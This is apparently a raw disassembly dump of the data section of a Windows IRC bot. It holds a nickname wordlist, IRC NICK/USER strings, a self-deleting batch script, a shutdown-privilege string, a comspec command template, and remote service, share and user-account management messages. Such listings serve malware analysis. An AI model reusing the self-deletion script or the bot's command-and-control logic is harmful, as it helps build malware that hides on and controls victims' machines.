"MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437EF8 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438788 dd offset aC ; "c" dd offset aD ; "d" dd offset aE ; "e" dd offset dword_4387A0 dd offset dword_43879C dd offset dword_438798 dd offset aI ; "i" dd offset dword_42B500 ; --------------------------------------------------------------------------- dec eax mov bl, 42h add [eax-39h], ah inc edx add [edi+eax*4-5337FFBDh], dl inc edx add [ebx+esi*4+42h], cl add ah, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, dh retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_4387A8 dd offset dword_43878C dd offset dword_4387A4 dd offset dword_438790 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_438790 dd offset dword_43879C dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438148 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438758 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438788 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43873C dd offset dword_43D128 dd offset off_438108 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C8 dd offset dword_4380C4 dd offset dword_4380BC dd offset dword_4380B0 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438094 dd offset dword_438090 dword_438090 dd 7536h ; DATA XREF: ___:0043808Co dword_438094 dd 7535h ; DATA XREF: ___:00438088o dword_438098 dd 7C75347Ch, 0 ; DATA XREF: ___:00438084o dword_4380A0 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438080o dword_4380A8 dd 7375347Ch, 7Ch ; DATA XREF: ___:0043807Co dword_4380B0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438078o dword_4380BC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438074o dword_4380C4 dd 6C6F6Ch ; DATA XREF: ___:00438070o dword_4380C8 dd 746F74h ; DATA XREF: ___:0043806Co aMofo db 'mofo',0 ; DATA XREF: ___:00438068o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438064o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438060o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:0043805Co align 4 aAha db 'aha',0 ; DATA XREF: ___:00438058o aShit db 'shit',0 ; DATA XREF: ___:00438054o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438050o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043804Co align 4 off_438108 dd offset loc_594F42 ; DATA XREF: ___:00438048o aFree db 'Free',0 ; DATA XREF: ___:00438034o align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438030o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438024o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438018o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438014o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438010o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FF4o aBbl db '|bbl',0 ; DATA XREF: ___:00437FE8o align 4 off_438148 dd offset loc_425242 ; DATA XREF: ___:00437FE4o aMuckc db 'muckc',0 ; DATA XREF: ___:00437FD0o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00437FCCo align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00437FC8o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00437FC4o align 4 aUi db 'ui',0 ; DATA XREF: ___:00437FC0o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00437FBCo aRt db 'rt',0 ; DATA XREF: ___:00437FB8o align 4 aGf db 'gf',0 ; DATA XREF: ___:00437FB4o align 4 aTy db 'ty',0 ; DATA XREF: ___:00437FB0o align 10h aRg db 'rg',0 ; DATA XREF: ___:00437FACo align 4 aHappy db 'happy',0 ; DATA XREF: ___:00437FA8o align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F88o align 10h aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F40o align 4 aQ8 db 'Q8',0 ; DATA XREF: ___:00437F3Co align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F38o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F34o aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F30o align 4 aGens db '{gens|',0 ; DATA XREF: ___:00437F2Co align 10h aSex db '{sex}',0 ; DATA XREF: ___:00437F28o align 4 aHub db '{hub}',0 ; DATA XREF: ___:00437F24o align 10h aLuck db '|luck|',0 ; DATA XREF: ___:00437F20o align 4 aSuck db '|suck|',0 ; DATA XREF: ___:00437F1Co align 10h aTot db '-|tot|',0 ; DATA XREF: ___:00437F18o align 4 aWoh db '|woh|',0 ; DATA XREF: ___:00437F14o align 10h aTambe db '|tambe|',0 ; DATA XREF: ___:00437F10o aLag db 'lag',0 ; DATA XREF: ___:00437F0Co aBad db 'bad',0 ; DATA XREF: ___:00437F08o aTree db 'tree',0 ; DATA XREF: ___:00437F04o align 4 aZex db 'zex',0 ; DATA XREF: ___:00437F00o aLez db 'lez',0 ; DATA XREF: ___:00437EFCo aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF8o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EF4o align 10h aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EF0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EECo align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE8o align 10h aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EE4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437EE0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437EDCo align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED8o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ED4o align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437ED0o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437ECCo align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC8o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EC4o align 10h aUla db 'ula',0 ; DATA XREF: ___:00437EC0o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EBCo aAkden db 'akden',0 ; DATA XREF: ___:00437EB8o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EB4o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EB0o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EACo aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA8o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437EA4o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437EA0o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E9Co align 10h aAnkm db 'ankM',0 ; DATA XREF: ___:00437E98o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00437E94o align 10h aDevre db 'devre',0 ; DATA XREF: ___:00437E90o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E8Co align 10h aBirsen db 'birsen',0 ; DATA XREF: ___:00437E88o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:00437E84o align 10h aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E80o align 4 off_43832C dd offset byte_4B5245 ; DATA XREF: ___:00437E7Co aSevda db 'sevda',0 ; DATA XREF: ___:00437E78o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:00437E74o align 10h aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E70o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E6Co align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E68o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E64o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:00437E60o align 10h aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E5Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E58o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E54o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E50o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:00437E4Co align 10h aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E48o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:00437E44o align 10h aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E40o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E3Co align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E38o align 10h aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E34o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E30o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E2Co align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E28o aHoly db 'holy',0 ; DATA XREF: ___:00437E24o align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E20o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E1Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E18o align 10h aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E14o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E10o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E0Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E08o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437E04o align 10h aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437E00o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DFCo aArda db 'arda',0 ; DATA XREF: ___:00437DF8o align 10h aDevran db 'devran',0 ; DATA XREF: ___:00437DF4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DF0o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DECo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DE4o align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DE0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DDCo align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD8o align 10h off_4384C0 dd offset byte_457441 ; DATA XREF: ___:00437DD4o dword_4384C4 dd 414C5941h, 2Dh ; DATA XREF: ___:00437DD0o aAlbina db 'albina',0 ; DATA XREF: ___:00437DCCo align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC8o align 10h aZack db 'ZACK',0 ; DATA XREF: ___:00437DC4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DC0o align 10h aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DBCo align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB8o align 10h aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DB4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DB0o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00437DACo align 10h aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA8o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437DA4o aAslii db 'aslii',0 ; DATA XREF: ___:00437DA0o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D9Co aHaticem db 'haticem',0 ; DATA XREF: ___:00437D98o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D94o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D90o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D8Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D88o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D84o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D80o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D7Co align 10h aMelekk db 'melekk',0 ; DATA XREF: ___:00437D78o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:00437D74o align 10h aMary db 'MARY',0 ; DATA XREF: ___:00437D70o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D6Co aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D68o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D64o align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D60o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D5Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D58o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D54o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D50o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D4Co align 10h aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D48o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D44o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:00437D40o aReshma db 'reshma',0 ; DATA XREF: ___:00437D3Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D38o align 10h aGirl db 'GirL',0 ; DATA XREF: ___:00437D34o align 4 aImra db 'imra',0 ; DATA XREF: ___:00437D30o align 10h aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D2Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D28o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00437D24o align 10h aManee db 'manee',0 ; DATA XREF: ___:00437D20o align 4 aTroller db 'troller',0 ; DATA XREF: ___:00437D1Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D18o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D14o align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D10o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D0Co align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D08o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437D04o align 4 aCme db 'cme',0 ; DATA XREF: ___:00437D00o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CFCo align 10h aTalika db 'talika',0 ; DATA XREF: ___:00437CF8o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00437CF4o align 10h aKen db 'ken',0 ; DATA XREF: ___:00437CF0o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CECo align 10h aKoko db 'koko',0 ; DATA XREF: ___:00437CE8o align 4 aMale db 'male',0 ; DATA XREF: ___:00437CE4o align 10h aSwin db 'swin',0 ; DATA XREF: ___:00437CE0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CDCo aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD8o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00437CD4o align 10h aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CD0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CCCo aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CC4o align 4 aM_0: ; DATA XREF: ___:00437CC0o ; ___:0043800Co unicode 0, <M>,0 word_43872C dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CBCo align 10h dword_438730 dd 42h ; DATA XREF: ___:00437CB8o dword_438734 dd 56h ; DATA XREF: ___:00437CB4o dword_438738 dd 43h ; DATA XREF: ___:00437CB0o dword_43873C dd 58h ; DATA XREF: ___:00437CACo ; ___:00438040o dword_438740 dd 5Ah ; DATA XREF: ___:00437CA8o dword_438744 dd 4Ch ; DATA XREF: ___:00437CA4o dword_438748 dd 4Bh ; DATA XREF: ___:00437CA0o dword_43874C dd 4Ah ; DATA XREF: ___:00437C9Co dword_438750 dd 48h ; DATA XREF: ___:00437C98o dword_438754 dd 47h ; DATA XREF: ___:00437C94o dword_438758 dd 46h ; DATA XREF: ___:00437C90o ; ___:00438008o dword_43875C dd 44h ; DATA XREF: ___:00437C8Co dword_438760 dd 53h ; DATA XREF: ___:00437C88o dword_438764 dd 50h ; DATA XREF: ___:00437C80o dword_438768 dd 4Fh ; DATA XREF: ___:00437C7Co dword_43876C dd 55h ; DATA XREF: ___:00437C74o word_438770 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C70o align 4 dword_438774 dd 54h ; DATA XREF: ___:00437C6Co dword_438778 dd 52h ; DATA XREF: ___:00437C68o dword_43877C dd 45h ; DATA XREF: ___:00437C64o dword_438780 dd 57h ; DATA XREF: ___:00437C60o dword_438784 dd 51h ; DATA XREF: ___:00437C5Co dword_438788 dd 62h ; DATA XREF: ___:00437C50o ; ___:00437F44o ... dword_43878C dd 78h ; DATA XREF: ___:00437C44o ; ___:00437F9Co dword_438790 dd 7Ah ; DATA XREF: ___:00437C40o ; ___:00437FA4o ... dword_438794 dd 6Ch ; DATA XREF: ___:00437C3Co dword_438798 dd 68h ; DATA XREF: ___:00437C30o ; ___:00437F5Co dword_43879C dd 67h ; DATA XREF: ___:00437C2Co ; ___:00437F58o ... dword_4387A0 dd 66h ; DATA XREF: ___:00437C28o ; ___:00437F54o dword_4387A4 dd 79h ; DATA XREF: ___:00437FA0o dword_4387A8 dd 77h ; DATA XREF: ___:00437BFCo ; ___:00437F98o dword_4387AC dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B8 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387BC dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_438934 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_438964 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_43898C dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A8 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389AC dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389B0 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A1Ch, 438A14h, 2, 438A08h, 4389FCh, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389DCo aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D8o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389D0o aStart_0 db 'Start',0 ; DATA XREF: ___:004389CCo align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389C4o align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389C0o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B8o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389B4o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389ACo align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A8o unk_438A70 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A94 db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_438AC0 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_439014 db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439038 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_439054 db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_4390A0 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 10h unk_439100 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439128 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439158 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439178 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 4 